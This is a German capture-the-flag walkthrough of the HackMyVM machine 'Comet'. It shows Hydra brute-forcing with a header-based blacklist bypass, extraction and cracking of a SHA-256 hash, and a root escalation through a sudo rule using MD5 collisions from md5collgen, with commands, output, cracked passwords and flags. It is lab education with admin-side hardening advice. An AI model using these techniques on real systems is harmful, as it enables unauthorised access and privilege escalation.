Comet - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
gobuster
nmap
nikto
wfuzz
hydra
curl
wget
cat
sort
uniq
strings
vi
sed
tr
echo
hashcat
ssh
ls
file
sudo
find
python http.server
chmod
md5collgen
mv
md5sum
bash

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.122	08:00:27:9e:28:2e	PCS Systemtechnik GmbH
                    

Analyse: Mittels `arp-scan -l` wird das lokale Netzwerk nach aktiven Geräten gescannt. Ein Host mit der IP 192.168.2.122 und einer MAC-Adresse von Oracle (VirtualBox) wird identifiziert.

Bewertung: Das Zielsystem wurde erfolgreich lokalisiert.

Empfehlung (Pentester): Die IP 192.168.2.122 für weitere Scans verwenden.
Empfehlung (Admin): Standard-Netzwerkaktivität.

┌──(root㉿cyber)-[~/Hackingtools] └─# nmap -sS -sC -sV -T5 -AO 192.168.2.122 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-10 01:45 CEST
Nmap scan report for comet.hmv (192.168.2.122)
Host is up (0.0028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 dbf946e520816ceec72508ab2251366c (RSA)
|   256 33c09564294723dd864ee6b8073367ad (ECDSA)
|_  256 beaa6d4243dd7dd40e0d7478c189a136 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: CyberArray
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:9E:28:2E (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 2.6.32 or 3.10 (92%), Linux 2.6.32 (91%), Linux 4.4 (91%), Linux 2.6.32 - 2.6.35 (90%), Linux 2.6.32 - 2.6.39 (90%), Linux 2.6.32 - 3.0 (88%), Linux 4.0 (88%), Linux 3.11 - 4.1 (88%), Linux 3.2 - 3.8 (88%), Linux 2.6.18 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   2.77 ms comet.hmv (192.168.2.122)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.81 seconds
                    

Analyse: Ein Nmap-Scan (-sS, -sC, -sV, -T5, -AO, -p-) identifiziert zwei offene Ports auf dem Zielsystem:

Das Betriebssystem wird als Linux erkannt.

Bewertung: Die Angriffsfläche ist relativ klein und beschränkt sich auf SSH und HTTP. Der Webserver ist der wahrscheinlichste Einstiegspunkt.

Empfehlung (Pentester): Den Webserver auf Port 80 detailliert untersuchen (Verzeichnisse, Dateien, Schwachstellen). SSH für spätere Passwortangriffe vormerken.
Empfehlung (Admin): Dienste aktuell halten, nicht benötigte Ports schließen.

Web Enumeration

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.122 -x txt,php,[...] -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e -t 100 -n -k
http://192.168.2.122/images               [Size: 315] [--> http://192.168.2.122/images/]
http://192.168.2.122/contact.html         [Size: 5886]
http://192.168.2.122/about.html           [Size: 7024]
http://192.168.2.122/blog.html            [Size: 8242]
http://192.168.2.122/support.html         [Size: 6329]
http://192.168.2.122/login.php            [Size: 1443]
http://192.168.2.122/index.html           [Size: 7097]
http://192.168.2.122/ip.txt               [Size: 0]
http://192.168.2.122/js                   [Size: 311] [--> http://192.168.2.122/js/]
                    

Analyse: Gobuster wird zur Verzeichnissuche auf dem Webserver eingesetzt. Es findet Standard-Webseiten (`index.html`, `contact.html` etc.), Verzeichnisse (`/images`, `/js`), eine leere Datei `ip.txt` und eine Login-Seite `login.php`.

Bewertung: Die Login-Seite `login.php` ist der interessanteste Fund und ein primäres Ziel für weitere Angriffe. Die leere `ip.txt` ist ungewöhnlich und könnte später relevant werden.

Empfehlung (Pentester): Die `login.php`-Seite untersuchen (Parameter, Authentifizierungsmechanismus). Die Funktion von `ip.txt` beobachten.
Empfehlung (Admin): Unnötige Dateien (wie eine leere `ip.txt`) entfernen. Login-Seiten gegen Brute-Force absichern.

┌──(root㉿cyber)-[~/Hackingtools] └─# nikto -h http://192.168.2.122 -C all
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.122
+ Target Hostname:    192.168.2.122
+ Target Port:        80
+ Start Time:         2023-04-10 01:46:02 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.54 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: ...
+ /: The X-Content-Type-Options header is not set. See: ...
+ /: Server may leak inodes via ETags, header found with file /, inode: 1bb9, size: 5f50f4bf1b6c0, mtime: gzip. See: CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /ip.txt: This may be User Online version 2.0, which has a remotely accessible log file. 
+ /images/: Directory indexing found.
+ /login.php: Admin login page/section found.
+ 26646 requests: 6 error(s) and 7 item(s) reported on remote host
+ End Time:           2023-04-10 01:49:21 (GMT2) (199 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: Nikto findet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`), ein potenzielles Inode-Leak über ETags (geringes Risiko), Directory Indexing für `/images/` und bestätigt die Login-Seite `/login.php`. Interessanterweise vermutet Nikto aufgrund von `/ip.txt`, dass es sich um eine spezifische Software ("User Online 2.0") handeln könnte, die Logdateien preisgibt.

Bewertung: Bestätigt die Gobuster-Funde und fügt Hinweise auf fehlende Header und die mögliche Funktion von `ip.txt` hinzu. Das Directory Indexing für `/images/` sollte untersucht werden.

Empfehlung (Pentester): `/images/` manuell prüfen. Die Vermutung bezüglich `ip.txt` und Logdateien weiter untersuchen (z.B. nach Standard-Logdateipfaden dieser Software suchen). Den Fokus auf `login.php` richten.
Empfehlung (Admin): Sicherheitsheader hinzufügen, Directory Indexing deaktivieren, ETag-Konfiguration prüfen, ggf. Software "User Online" aktualisieren/absichern.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.2.122/login.php?FUZZ=id" --hw 97
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.2.122/login.php?FUZZ=id
Total requests: 220607

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================


Total time: ??? 
Processed Requests: 220607
Filtered Requests: 220607
Requests/sec.: ??? 
                    

Analyse: Es wird versucht, mit `wfuzz` Parameter auf der `login.php`-Seite zu finden, die möglicherweise für Command Injection anfällig sein könnten (`?FUZZ=id`). Der Scan filtert alle Antworten heraus, die 97 Wörter haben (`--hw 97`), was vermutlich der Wortanzahl der Standard-Antwort entspricht.

Bewertung: Dieser spezifische Fuzzing-Versuch auf `login.php` war erfolglos, es wurden keine abweichenden Antworten und somit keine offensichtlichen Injection-Punkte gefunden.

Empfehlung (Pentester): Andere Angriffsmethoden für `login.php` prüfen, insbesondere Brute-Force auf die Login-Parameter.
Empfehlung (Admin): Eingabevalidierung auf allen Parametern implementieren.

Initial Access

┌──(root㉿cyber)-[~/Hackingtools] └─# hydra -l admin -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt ssh://192.168.2.122 -t 64

Analyse: Es wird ein Brute-Force-Angriff mit Hydra auf den SSH-Dienst für den Benutzernamen `admin` gestartet, unter Verwendung einer Passwortliste.

Bewertung: Dieser Versuch scheint fehlgeschlagen zu sein, da kein Passwort gefunden wurde und im nächsten Schritt ein Angriff auf das Web-Login erfolgt.

Empfehlung (Pentester): Erst gültige Benutzernamen finden, bevor SSH-Brute-Force versucht wird. Fokus auf das Web-Login.
Empfehlung (Admin): SSH-Brute-Force-Schutz implementieren (fail2ban, Key-Auth).

┌──(root㉿cyber)-[~/Hackingtools] └─# curl -H "X-ORIGINATING-IP: Not Blacklisted :)" -d "username=admin&password=1234" -X POST http://comet.hmv/login.php

Analyse: Ein manueller Login-Versuch per `curl` auf `login.php` für den Benutzer `admin`. Auffällig ist der benutzerdefinierte Header `X-ORIGINATING-IP`. Dies deutet darauf hin, dass möglicherweise eine IP-basierte Blacklist umgangen werden muss, indem dieser Header gesetzt wird.

Bewertung: Wichtiger Hinweis auf einen potenziellen Schutzmechanismus und dessen Umgehung. Der Header `X-ORIGINATING-IP` wird wahrscheinlich von der Anwendung ausgewertet.

Empfehlung (Pentester): Den `X-ORIGINATING-IP`-Header beim Brute-Force-Angriff auf das Web-Login verwenden.
Empfehlung (Admin): Sicherheitsmechanismen überprüfen. Wenn Header zur Umgehung von IP-Sperren verwendet werden können, ist der Schutz unwirksam. Serverseitige Logik statt auf Client-Header vertrauen.

┌──(root㉿cyber)-[~/Hackingtools] └─# hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.2.122 http-post-form "/login.php:username=admin&password=^PASS^:H=X-ORIGINATING-IP:test:F=Invalid"
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-10 02:01:49
[...]
[DATA] attacking http-post-form://192.168.2.122:80/login.php:username=admin&password=^PASS^:H=X-ORIGINATING-IP:test:F=Invalid
[...]
[80][http-post-form] host: 192.168.2.122   login: admin   password: solitario

1 of 1 target successfully completed, 1 valid password found
                    

Analyse: Hydra wird nun für einen HTTP-POST-Form-Brute-Force-Angriff auf `login.php` konfiguriert:

Hydra findet erfolgreich das Passwort `solitario` für den Benutzer `admin`.

Bewertung: Erfolg! Der Login für den Web-Admin (`admin:solitario`) wurde gefunden. Die Umgehung der IP-Sperre mittels Header war erfolgreich.

Empfehlung (Pentester): Sich als `admin` in die Webanwendung einloggen und nach weiteren Informationen oder Schwachstellen suchen (z.B. Datei-Upload, Code-Ausführung, Informationslecks).
Empfehlung (Admin): IP-Sperrmechanismus überarbeiten. Starke Passwörter erzwingen.

Analyse (Nach dem Login): Nach dem Login als `admin` wird ein Verzeichnis `/logFire/` entdeckt, das zahlreiche `firewall.log.*`-Dateien enthält.

[ ]	firewall.log	2023-02-19 16:35 	6.8K
[ ]	firewall.log.1	2023-02-19 16:35 	6.8K
[...]
[ ]	firewall.log.20	2023-02-19 16:35 	6.8K
                    

Bewertung: Log-Dateien sind oft eine Quelle für sensible Informationen. Das Vorhandensein vieler rotierter Logs deutet auf kontinuierliche Aktivität hin.

Empfehlung (Pentester): Die Log-Dateien herunterladen und analysieren.
Empfehlung (Admin): Zugriff auf Log-Verzeichnisse über das Web einschränken. Sicherstellen, dass Logs keine sensiblen Daten enthalten.

┌──(root㉿cyber)-[~/comet/logfiles] └─# for i in {1..51};do wget "http://192.168.2.122/logFire/firewall.log.$i"; done
--2023-04-10 02:05:55--  http://192.168.2.122/logFire/firewall.log.1
Verbindungsaufbau zu 192.168.2.122:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 6999 (6,8K)
Wird in »firewall.log.1« gespeichert.
[...]
                    

Analyse: Die Log-Dateien `firewall.log.1` bis `firewall.log.51` werden mittels einer `for`-Schleife und `wget` heruntergeladen.

Bewertung: Notwendiger Schritt zur Offline-Analyse der Logs.

Empfehlung (Pentester): Die heruntergeladenen Dateien analysieren.
Empfehlung (Admin): Monitoring von Massen-Downloads.

┌──(root㉿cyber)-[~/comet/logfiles] └─# cat * | sort | uniq -u
2023-02-19 16:35:31 192.168.1.10 | 192.168.1.50 | Allowed | Inbound connection | Joe
                    

Analyse: Alle heruntergeladenen Log-Dateien werden zusammengefügt (`cat *`), sortiert (`sort`) und dann werden nur die Zeilen ausgegeben, die genau einmal vorkommen (`uniq -u`). Dadurch wird eine Zeile gefunden, die eine erlaubte eingehende Verbindung von `192.168.1.10` nach `192.168.1.50` erwähnt und den Namen `Joe` enthält.

Bewertung: Ein potenzieller Benutzername (`Joe`) wurde in den Logs gefunden. Dies ist ein wichtiger Hinweis für weitere Angriffsversuche, insbesondere auf SSH.

Empfehlung (Pentester): Versuchen, sich als `Joe` per SSH anzumelden. Das Passwort könnte in den Logs oder in der `firewall_update`-Datei versteckt sein.
Empfehlung (Admin): Log-Formate und -Inhalte auf sensible Informationen überprüfen. Anonymisierung oder Maskierung von Benutzernamen in Logs erwägen.

Analyse: Eine Datei namens `firewall_update` (Herkunft unklar, vermutlich Download nach Admin-Login) wird mit `strings` untersucht.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# strings firewall_update -n 8
/lib64/ld-linux-x86-64.so.2
[...]
b8728ab8H
1a3c3391H
f5f63f39H
da72ee89H
f43f9a9fH
429bc8cfH
e858f804H
8eaad2b1H
                    

Analyse: `strings` extrahiert mehrere 8-stellige hexadezimale Zeichenketten, die alle mit `H` enden.

Bewertung: Diese Zeichenketten sehen wie Teile eines Passwort-Hashes oder eines Schlüssels aus.

Empfehlung (Pentester): Diese Strings extrahieren, bereinigen (das 'H' entfernen), zusammenfügen und versuchen, den resultierenden Hash zu knacken.

┌──(root㉿cyber)-[~] └─# vi hash
┌──(root㉿cyber)-[~] └─# cat hash
b8728ab8H
1a3c3391H
f5f63f39H
da72ee89H
f43f9a9fH
429bc8cfH
e858f804H
8eaad2b1H
                    
┌──(root㉿cyber)-[~] └─# sed -i 's/H//g' hash
┌──(root㉿cyber)-[~] └─# cat hash
b8728ab8
1a3c3391
f5f63f39
da72ee89
f43f9a9f
429bc8cf
e858f804
8eaad2b1
                    
┌──(root㉿cyber)-[~] └─# cat hash | tr -d "\n"
b8728ab81a3c3391f5f63f39da72ee89f43f9a9f429bc8cfe858f8048eaad2b1
                    
┌──(root㉿cyber)-[~] └─# echo "b8728ab81a3c3391f5f63f39da72ee89f43f9a9f429bc8cfe858f8048eaad2b1" > hash

Analyse: Die extrahierten Strings werden in eine Datei `hash` geschrieben. Mit `sed` wird das `H` am Ende jeder Zeile entfernt. Mit `tr -d "\n"` werden die Zeilenumbrüche entfernt, um einen einzelnen String zu erhalten. Dieser String wird final in die Datei `hash` geschrieben.

Bewertung: Der potenzielle Hash (`b8728...d2b1`) wurde erfolgreich extrahiert und für Hashcat vorbereitet.

Empfehlung (Pentester): Hash-Typ identifizieren (sieht nach SHA-256 aus) und mit Hashcat knacken.
Empfehlung (Admin): Keine Maßnahmen erforderlich.

┌──(root㉿cyber)-[~] └─# hashcat -a 0 -m 1400 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
[...]
Dictionary cache built:
 Filename..: /usr/share/wordlists/rockyou.txt
[...]
b8728ab81a3c3391f5f63f39da72ee89f43f9a9f429bc8cfe858f8048eaad2b1:prettywoman

[...]
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA-256)
Hash.Target......: b8728ab81a3c3391f5f63f39da72ee89f43f9a9f429bc8cfe858f8048eaad2b1
Time.Started.....: [...]
Time.Estimated...: [...]
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
[...]
Recovered........: 1/1 (100.00%) Digests
[...]
                    

Analyse: Hashcat wird mit Modus 1400 (SHA-256) und der `rockyou.txt`-Wortliste auf den extrahierten Hash angesetzt. Das Passwort `prettywoman` wird erfolgreich gefunden.

Bewertung: Das Passwort, wahrscheinlich für den Benutzer `Joe`, wurde geknackt.

Empfehlung (Pentester): Sich als `joe` mit dem Passwort `prettywoman` per SSH anmelden.
Empfehlung (Admin): Starke, einzigartige Passwörter verwenden. Hashes nicht in Binärdateien speichern.

┌──(root㉿cyber)-[~/comet/logfiles] └─# ssh joe@comet.hmv
The authenticity of host 'comet.hmv (192.168.2.122)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[...]
joe@comet.hmv's password: prettywoman
Linux comet.hmv 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
[...]
joe@comet:~$
                    

Analyse: Der SSH-Login als Benutzer `joe` mit dem geknackten Passwort `prettywoman` ist erfolgreich.

Bewertung: Der initiale Zugriff als Benutzer `joe` wurde erreicht.

Empfehlung (Pentester): Umgebung als `joe` untersuchen, User-Flag suchen, nach Eskalationsmöglichkeiten suchen (`sudo -l`).
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.

joe@comet:~$ ls -la
total 32
drwxr-xr-x 3 joe  joe  4096 Feb 19 10:51 .
drwxr-xr-x 3 root root 4096 Feb 19 19:33 ..
lrwxrwxrwx 1 root root    9 Feb 25 17:03 .bash_history -> /dev/null
-rw-r--r-- 1 joe  joe   220 Feb 19 10:51 .bash_logout
-rw-r--r-- 1 joe  joe  3526 Feb 19 10:51 .bashrc
-rwxr-xr-x 1 root root  366 Feb 19 10:51 coll 
drwxr-xr-x 3 joe  joe  4096 Feb 19 10:51 .local
-rw-r--r-- 1 joe  joe   807 Feb 19 10:51 .profile
-rwx------ 1 joe  joe    33 Feb 19 10:51 user.txt
                    
joe@comet:~$ cat user.txt
cc32dbc17ec3ddf89f9e6d0991c82616
                    

Analyse: Im Home-Verzeichnis von `joe` wird die `user.txt`-Datei gefunden und ausgelesen. Auffällig ist auch das Skript `coll`, das `root` gehört, aber für alle ausführbar ist.

Bewertung: User-Flag gefunden. Das Skript `coll` ist verdächtig und muss untersucht werden, insbesondere im Zusammenhang mit möglichen sudo-Rechten.

Empfehlung (Pentester): User-Flag dokumentieren. `sudo -l` ausführen und das `coll`-Skript analysieren.
Empfehlung (Admin): Dateiberechtigungen prüfen. Skripte im Home-Verzeichnis von Benutzern, die root gehören, sind ungewöhnlich.

joe@comet:~$ file coll
coll: Bourne-Again shell script, ASCII text executable
                    

Analyse: `file` bestätigt, dass `coll` ein Bash-Skript ist.

Bewertung: Bestätigung des Dateityps.

Empfehlung (Pentester): Inhalt analysieren und `sudo -l` prüfen.
Empfehlung (Admin): Keine Maßnahmen erforderlich.

Privilege Escalation

joe@comet:~$ sudo -l
Matching Defaults entries for joe on comet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User joe may run the following commands on comet:
    (ALL : ALL) NOPASSWD: /bin/bash /home/joe/coll
                    

Analyse: Der Befehl `sudo -l` zeigt, dass der Benutzer `joe` das Skript `/home/joe/coll` mittels `/bin/bash` als beliebiger Benutzer (implizit `root`) ohne Passwort ausführen darf.

Bewertung: **Kritischer Privilegieneskalationsvektor!** Da `joe` das Skript `/home/joe/coll` nicht selbst ändern kann (es gehört `root`), muss das Skript selbst eine Schwachstelle enthalten, die ausgenutzt werden kann, wenn es als `root` läuft.

Empfehlung (Pentester): Das Skript `/home/joe/coll` analysieren, um die Schwachstelle zu finden. Da im weiteren Verlauf MD5-Kollisionen genutzt werden, ist anzunehmen, dass das Skript einen MD5-Hash-Vergleich durchführt, der manipuliert werden kann.
Empfehlung (Admin): `sudo`-Regeln überprüfen. Das Ausführen von Skripten, die nicht `root` gehören oder an unsicheren Orten liegen, als `root` ist extrem gefährlich. Hier gehört das Skript zwar `root`, liegt aber im Home von `joe`. Besser wäre, das Skript an einem sicheren Ort (`/usr/local/sbin` o.ä.) abzulegen und sicherzustellen, dass es nicht vom Benutzer manipuliert werden kann und selbst keine Schwachstellen enthält.

Analyse (MD5 Collision Attack): Der folgende Abschnitt beschreibt die Ausnutzung der `sudo`-Regel in Kombination mit einer Schwachstelle im (nicht gezeigten, aber implizierten) `coll`-Skript, die auf MD5-Hash-Vergleichen basiert.

┌──(root㉿cyber)-[~] └─# wget https://github.com/seed-labs/seed-labs/raw/master/category-crypto/Crypto_MD5_Collision/Labsetup/md5collgen
[...]
2023-04-10 02:44:09 (11,9 MB/s) - »md5collgen« gespeichert [3338360/3338360]
                    
┌──(root㉿cyber)-[~] └─# python3 -m http.server 8555
Serving HTTP on 0.0.0.0 port 8555 (http://0.0.0.0:8555/) ...
                    
joe@comet:~$ echo HMV > md5
joe@comet:~$ chmod +x md5
joe@comet:~$ wget http://192.168.2.114:8555/md5collgen
--2023-04-10 02:45:55--  http://192.168.2.140:8555/md5collgen 
Connecting to 192.168.2.140:8555... connected. 
HTTP request sent, awaiting response... 200 OK
Length: 3338360 (3.2M) [application/octet-stream]
Saving to: ‘md5collgen’
md5collgen              100%[===================>]   3.18M  --.-KB/s    in 0.007s
2023-04-10 02:45:55 (431 MB/s) - ‘md5collgen’ saved [3338360/3338360]
                    
192.168.2.122 - - [10/Apr/2023 02:45:54] "GET /md5collgen HTTP/1.1" 200 -
                    
joe@comet:~$ chmod +x md5collgen

Analyse: Das Tool `md5collgen` wird vom Angreifer heruntergeladen und über einen Python-HTTP-Server bereitgestellt. Auf dem Zielsystem wird eine kleine Datei `md5` (Inhalt "HMV") erstellt und ausführbar gemacht (Zweck unklar, evtl. als Prefix?). Dann wird `md5collgen` heruntergeladen und ebenfalls ausführbar gemacht.

Bewertung: Die notwendigen Werkzeuge für den MD5-Kollisionsangriff werden auf das Zielsystem transferiert.

Empfehlung (Pentester): Den Kollisionsgenerator ausführen.
Empfehlung (Admin): Ausgehende Verbindungen einschränken, Uploads überwachen.

joe@comet:~$ ./md5collgen -p md5
MD5 collision generator v1.5
by Marc Stevens (http://www.win.tue.nl/hashclash/)

Using output filenames: 'msg1.bin' and 'msg2.bin'
Using prefixfile: 'md5'
Using initial value: 66fdfd128fcadfc4946a54c7a85dc86d

Generating first block: .............................................................
Generating second block: S10.............
Running time: 58.4102 s
                    
joe@comet:~$ ls -la
[...]
-rwxr-xr-x 1 joe  joe        4 Apr 10 02:44 md5
-rwxr-xr-x 1 joe  joe  3338360 Apr 10 02:44 md5collgen
-rw-r--r-- 1 joe  joe      192 Apr 10 02:47 msg1.bin
-rw-r--r-- 1 joe  joe      192 Apr 10 02:47 msg2.bin
[...]
                    
joe@comet:~$ md5sum msg*
a42100369e18abaf6e487da8f42e0eb3  msg1.bin
a42100369e18abaf6e487da8f42e0eb3  msg2.bin
                    

Analyse: Der `md5collgen`-Generator wird mit der Datei `md5` als Prefix ausgeführt. Er erzeugt zwei Dateien, `msg1.bin` und `msg2.bin`, die unterschiedlichen Inhalt haben, aber denselben MD5-Hash (`a421...0eb3`).

Bewertung: Die MD5-Kollisionsdateien wurden erfolgreich generiert. Diese können nun verwendet werden, um die vermutete MD5-Prüfung im `coll`-Skript auszutricksen.

Empfehlung (Pentester): Die Dateien `msg1.bin` und `msg2.bin` umbenennen (vermutlich erwartet das Skript spezifische Namen wie `file1` und `file2`) und dann das `coll`-Skript mit `sudo` ausführen.
Empfehlung (Admin): MD5 ist kryptographisch gebrochen und sollte nicht mehr für sicherheitsrelevante Prüfungen verwendet werden. Sicherere Hash-Algorithmen (SHA-256, SHA-3) einsetzen.

joe@comet:~$ mv msg1.bin file1
joe@comet:~$ mv msg2.bin file2
joe@comet:~$ sudo /bin/bash /home/joe/coll
joe@comet:~$ /bin/bash -p
bash-5.1#
                    

Analyse: Die Kollisionsdateien werden in `file1` und `file2` umbenannt. Dann wird das `coll`-Skript mit `sudo /bin/bash /home/joe/coll` ausgeführt. Das Skript führt vermutlich den MD5-Vergleich durch, stellt fest, dass die Hashes übereinstimmen (aufgrund der Kollision) und führt eine privilegierte Aktion aus (möglicherweise Änderung der Shell-Privilegien oder Setzen von Umgebungsvariablen). Anschließend wird `/bin/bash -p` ausgeführt. Die Option `-p` (privileged mode) bewirkt, dass Bash die effektiven Benutzer-/Gruppen-IDs nicht auf die realen IDs zurücksetzt, wenn sie unterschiedlich sind. Das Ergebnis ist eine Root-Shell (`bash-5.1#`).

Bewertung: Erfolg! Durch die Ausnutzung der MD5-Kollision im `coll`-Skript, das mit `sudo`-Rechten ausgeführt wurde, konnte eine Root-Shell erlangt werden.

Empfehlung (Pentester): Root-Flag suchen.
Empfehlung (Admin): Das anfällige `coll`-Skript entfernen/korrigieren. Die `sudo`-Regel entfernen. MD5 nicht für Integritätsprüfungen verwenden.

Flags

cat /home/joe/user.txt
cc32dbc17ec3ddf89f9e6d0991c82616
bash-5.1# find / | grep root.txt
/root/root.txt
bash-5.1# cat /root/root.txt
052cf26a6e7e33790391c0d869e2e40c
cat /root/root.txt
052cf26a6e7e33790391c0d869e2e40c

Analyse: In der Root-Shell wird die Datei `/root/root.txt` gefunden und ihr Inhalt ausgelesen.

Bewertung: Der Root-Flag wurde erfolgreich extrahiert.

Empfehlung (Pentester): Bericht abschließen.
Empfehlung (Admin): Keine Maßnahmen bzgl. des Flags.